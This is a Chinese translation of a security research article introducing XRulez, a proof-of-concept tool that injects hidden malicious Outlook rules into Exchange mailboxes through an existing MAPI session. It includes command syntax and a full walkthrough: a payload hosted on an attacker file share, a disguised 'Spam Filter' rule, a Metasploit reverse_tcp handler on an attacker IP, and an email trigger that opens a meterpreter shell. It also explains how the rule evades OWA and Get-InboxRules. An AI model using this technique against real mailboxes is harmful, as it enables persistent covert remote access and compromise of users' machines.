背景
当前,构建恶意Outlook规则的限制条件都比较苛刻,至少需要访问被入侵系统的交互GUI,或者拥有登录凭证,而且还要求攻击方直接与Exchange服务器进行交互。不过MWR的一名实习生Luke Roberts最近所做的一份研究,给出了不一样的答案,通过shell或者注入的方式来构建规则显然就要方便多了。
2015年12月,尼克·兰德斯在Silent Break Security网站发布了一篇题为《恶意的Outlook规则》的文章(传送门),在这篇文章里,他讨论了如何持久性地利用Outlook恶意规则。其实,在此之前就有相关的研究,比如2014年发布的这篇文章,和2008年发布的 这篇文章。这些文章都可算是此次研究项目的基础,在您继续往下看文章之前,您最好先阅读一下尼克·兰德斯在Silent Break Security发布的《恶意的Outlook规则》。
Luke已经成功构建了相应的POC,可点击这里下载。但在此之前,不妨先继续阅读这篇文章,了解更多有关这款工具的信息,以及这个研究项目的具体内容。
SensePost在2016年9月1日也推出了类似的工具(点击这里),真是英雄所见略同!在此我们也看到了不同的思路,这里我们也强烈建议大家去阅读他们的研究。
简介
在Outlook中设定一条规则,只要满足相应的条件,就能在接收邮件和发送邮件的时候执行某些操作。比如说,将来自某些特定联系人的邮件进行分类,或者如果邮件标题包含某个关键词,则对邮件进行标注。另外这里所说的“执行某些操作”也可以是运行某个应用,如果能做到这一点,那么一切都变得相当有趣了。
如果我们能够创建一条Outlook规则,目标是执行payload——发出邮件的时候即触发这条规则,也就是说目标设备发送一封邮件,就能执行payload,是不是听起来很不错?
实际上,规则是存储在Exchange服务器上的。这些规则会和所有的Outlook客户端同步。目标设备在不同的位置登录时,这些规则也会自动下载和执行。只要目标设备开启Outlook并认证登录,那么我们在不需要获取登录凭证的情况下,就能拿下已经开启的会话。
这里的PoC工具名为XRulez,这是个Windows可执行程序。用它将接收信息规则注入到Exchange,这样用户在接收邮件时,只要满足预设条件,比如标题中出现特定关键词,就能自动运行某个应用了。
XRulez连接到Exchange服务器利用的是一条由Outlook客户端提供的存活的MAPI会话(MAPI,消息应用程序编程接口),然后在默认接收相关信息表里创建新邮件,这是目标邮箱的存储规则。然后填写新创建的邮件与属性数据,包括规则名称、条件和操作参数。
一旦规则与Exchange同步,发送一封邮件就能在目标设备上触发攻击。
在未来的版本中,我们将会添加更多的条件和操作,当前POC可以配置以下的设置:
触发条件:邮件标题的关键词
执行操作:启动应用程序、永久删除电子邮件、终止规则
规则触发时,如果payload应用无法访问,就会弹出对话框告诉用户规则无法成功执行,这可能会暴露攻击行为。
工具使用手册
在被感染的主机上:
1.上传XRulez.exe到目标设备;
2.执行XRulez.exe并加上“-l”参数来查看目标系统上已安装的MAPI配置文件列表;
XRulez.exe -l
3. 执行XRulez.exe并加上“-a”参数和所需各类参数来添加新规则;
XRulez.exe -a [–profilePROFILE] [–name NAME] [–trigger TRIGGER] [–payload PAYLOAD]
4.向目标设备发送标题含有预设关键词的电子邮件,触发预设的规则;
5.等Shell吧
XRulez在添加新规则时,需要设置四个参数:
1.[–profilePROFILE]配置文件名称:Outlook的配置文件名,已安装的配置文件可以使用“XRulez.exe -l”命令来查看
2.[–name NAME]规则名称:规则的描述名称,例如“垃圾邮件过滤”
3.[– triggerTRIGGER]触发规则的关键词:这个关键词将会在收到邮件的时候在标题字段中被检索
4.[–payloadPAYLOAD]payload路径:条件满足时,被执行的应用程序的路径
XRulez会在“%APPDATA%\Microsoft\Outlook\”这个目录下的.xml文件中寻找Outlook的配置文件,它也会提供这些文件的最后修改时间,而且会基于这些修改时间给出Outlook配置文件的选择建议。.xml文件只在Outlook关闭的时候更新,如果用户切换邮箱账户,可能会有些小麻烦。不过大多数的用户只有一个叫“Outlook”的默认配置文件。
恶意规则成功建立后,XRulez就可以从目标系统中删除了。
payload应用可以任何形式通过ShellExec正常启动。应用格式可以是.exe, .bat, .vbs,但不包含.ps1文件,因为它们在默认情况下是用记事本打开的。
由于MAPI是和架构相关的,针对32位和64位系统有不同的版本。所以在运行XRulez.exe之前,首先就要明确版本是否正确。这样XRulez才能正确运行,否则,可能会弹框提示“MAPI无法找到Outlook客户端”。
限制
Outlook必须是在目标设备上打开的,否则,就不会有会话分享出来,也就无法连接Exchange;
Outlook是使用ShellExec来打开payload程序的,这意味着payload不能带参数执行,这就要求payload必须是磁盘上或者外部的所有封闭的应用程序。
利用演示
假设:
我们已经拿下了目标设备,且已经得到了一条meterpreter会话,现在我们来寻找维持持续访问的方法;
Outlook与Exchange服务器有一个已经通过验证的会话;
目标可以访问一个我们可以写入的文件共享;
我们可以正常发送邮件到目标Exchange账号。
1.首先,我们生成一个能反弹meterpreter的payload,并将此payload放置到一个开放的Samba文件共享空间中。
root@kali:/share# ls
payload.exe
2.XRulez.exe已经被上传到目标设备上了,并且在Windows的命令行中带“-l”参数执行POC,这样将会显示安装在系统上的MAPI配置文件。
C:\demo>XRulez.exe -l
__ ________ _
\ \ / /| ___ \ | |
\ * / | |_/ / _ _ | | ___ ____
/ \ | / | | | || | / _ \|_ /
/ /^\ \| |\ \ | |_| || || __/ / /
\/ \/\_| \_| \__,_||_| \___|/___|
– Exchange Rule Injector
[XRulez] Running profile lookup
Outlook, Last Accessed 32 minutes ago. (Suggested)
3.现在,我们获悉了配置文件名为“Outlook”,我们可以用“-a”参数来添加一条新规则,payload的路径则指向我们的文件共享。
C:\demo>XRulez.exe -a –profile Outlook –name ACME Corp: Spam Filter –trigger spam –payload \\192.168.28.129\share\payload.exe
__ ________ _
\ \ / /| ___ \ | |
\ * / | |_/ / _ _ | | ___ ____
/ \ | / | | | || | / _ \|_ /
/ /^\ \| |\ \ | |_| || || __/ / /
\/ \/\_| \_| \__,_||_| \___|/___|
– Exchange Rule Injector
[XRulez] Adding new rule
With Parameters:
profile = Outlook
name = ACME Corp: Spam Filter
trigger = spam
payload = \\192.168.28.129\share\payload.exe
[Info] It looks like Outlook is running, continuing…
[Info] Opened folder: ‘Inbox’
[Info] A new message in the associated message table has been created
[Info] Message has been populated with properties and synced with Exchange.
4.一条Outlook规则就这样成功创建了,Outlook客户端与Exchange同步,下载我们的规则可能需要一点时间。
5.接下来,我们在攻击设备这里加载msf框架的handler模块,开始监听。
root@kail:/# msfconsole
msf > use exploit/multi/handler
msf exploit(handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf exploit(handler) > set lhost 192.168.28.129
lhost => 192.168.28.129
msf exploit(handler) > set lport 5555
lport => 5555
msf exploit(handler) > exploit
[*] Started reverse TCP handler on 192.168.28.129:5555
[*] Starting the payload handler…
6.我们给目标发送一封标题含有关键词“spam”的邮件,payload在目标设备上成功执行,meterpreter会话已经拿下。
[*] Sending stage (957487 bytes) to 192.168.28.141
[*] Meterpreter session 1 opened (192.168.28.129:5555 –> 192.168.28.141:49327) at 2016-08-23 10:06:20 -0400
meterpreter >
7.现在,如果用户使用Exchange账户在不同的Outlook客户端上进行身份验证,那么该规则将会被重新下载,如果payload在新设备上被访问,那么它也会发挥像在第一台设备上那样的作用,当条件满足时,我们就会得到另一个shell。
研究方法
在所有的研究中,理解how和why是非常重要的。下面的章节,我们将详细介绍尼克在从事他的研究时,他所采取的方法和过程。
“消息应用程序编程接口(MAPI)是一种消息传送架构和Microsoft Windows基于API的组件对象模型。MAPI允许客户端程序具备(电子邮件)通信功能,或者通过调用MAPI子系统例程的某些邮件服务器接口为基础来支持邮件传输,而MAPI则被设计为独立于协议的,它经常被用于MAPI/RFC,一个Outlook与Exchange之间通信的私有协议。”
来源:https://en.wikipedia.org/wiki/MAPI
MAPI可提供非托管式地访问一个用户邮箱中的文件夹和表格的功能,它可以做各种有趣的事情,比如说阅读电子邮件、修改预约以及创建规则!
第一步
我这个研究的第一步就是了解在创建、存储或/和传输过程中,规则格式究竟是什么样的。
在了解Exchange是以什么格式来存储规则的时候,我所用的工具是“MFCMAPI”——一个系统管理员用来调试Exchange服务器的程序,这个工具没有提示我输入身份凭证。在进一步的调查之后,我发现,这是因为Outlook在后台运行了。Outlook后面进行的任何MAPI连接都是已经通过验证的,并不需要重新认证,允许现有的MAPI会话被共享。
*MFCMAPI:是Exchange服务器的管理工具
我的目标是将一封邮件添加到默认接收文件夹中的相关联的内容表当中,相关联的内容表也就是数据存储所在的位置,但它不属于主要的内容表(你平常的邮件存储在主要的内容表),这里存储的数据包含你的偏好数据、邮件管理数据和规则数据。
首先,我从.msg文件成功导入了恶意规则条目,一个带有条件和操作的测试规则被成功创建。通过来自MFCMAPI的代码,将.msg文件导入到相关联的内容表中,也就在Exchange服务器上创建规则了,这应该就算得上首个基本完成的POC了。
第二步
接下来一步就是,在规则被导入的时候,我需要能够设定字段值为任意值(规则名称、触发关键词、触发应用程序的路径)。
导入.msg文件时,会对可变长度属性的长度和长度值进行验证。这意味着,如果字段被修改,长度必须重新计算,长度字段也会被更新。虽然要在POC中在规则创建时对此进行修改也是可行的(也许并不困难),但我还是选择导出设置为最大长度的规则。这就省去了长度属性的麻烦。
*MSG文件:用于生成所需属性的规则模板
在此使用自定义名称,标题关键词触发和应用程序路径来添加一条规则。然而,依赖于外部模板MSG文件并不理想,并且出现了另一个败笔,就是它会遗留一个日志之类的文件,可能被发现。那么,我们下一步就是要研究如何脱离这种依赖关系,在运行时生成所需数据。
这需要我们更加仔细地观察MAPI表项的结构。MAPI表项是由一个长长的属性列表构成的,这其中比较有趣的是PR_RULE_MSG_ACTIONS属性。这个属性包含了Outlook用来处理规则的二进制数据——这正是我需要编辑的,用以改变规则名称、触发条件和应用程序路径。不过,首先我需要找到导入数据的不同方法。
第三步
在MSDN上有一段代码展示了如何修改接收特定邮件的敏感度来创建一个规则(传送门),这段代码是通过手动设置关键属性和在规则表中添加一个行起作用的。这基本已经能够达到目的了,似乎已经充满了希望,但是我在测试中却遇到了关于设置PR_RULE_MSG_ACTIONS属性的问题。该属性的描述文档谈到,这是客户端生成的不透明blob,但它也会被用于验证。当字段为空白或者设置有误的时候,Outlook将会无视这条规则,并且将其删除。
回首之前导入.msg文件的这种方法,我在表中创建一个空白的邮件,将文件中的属性(包括PR_PROVIDER_DATA)导入到一个数组中,再从数组中把文件属性复制到空白的邮件当中,而不是在规则表中添加一行,我重复执行这个操作。不过要从文件中读取属性,我还尝试用有效数据生成我自己的属性数组。用这种方法,数据也会被接受,Outlook能够正常读取和处理规则,这意味着,模板文件不再需要,这个步骤也能在内存中完成。
*属性:存储在消息关联内容表中的条目属性
在应用测试中,我发现Outlook用来显示的规则属性和Exchange所用的属性是不一样的,例如,Outlook是使用PR_RULE_MSG_ACTIONS来存储规则名称的,而Exchange使用的却是PR_RULE_MSG_NAME,如果将属性设置为空,那么规则自然就出错了,但Outlook仍然能够正确处理。
这样一来,无论是Outlook Web App(Exchange服务进行交互的web界面),还是在Exchange管理控制台中的Get-InboxRules都不会显示该规则的存在性,而只会提示通用错误。所以,要创建脚本来检查规则的存在性是有难度的。
注:Outlook应用程序并不会显示由XRulez创建的任何规则
我很享受这项研究,并且希望这个工具能够成为渗透工具集的一部分。另外,对安全团队而言,这也是相当重要的情报。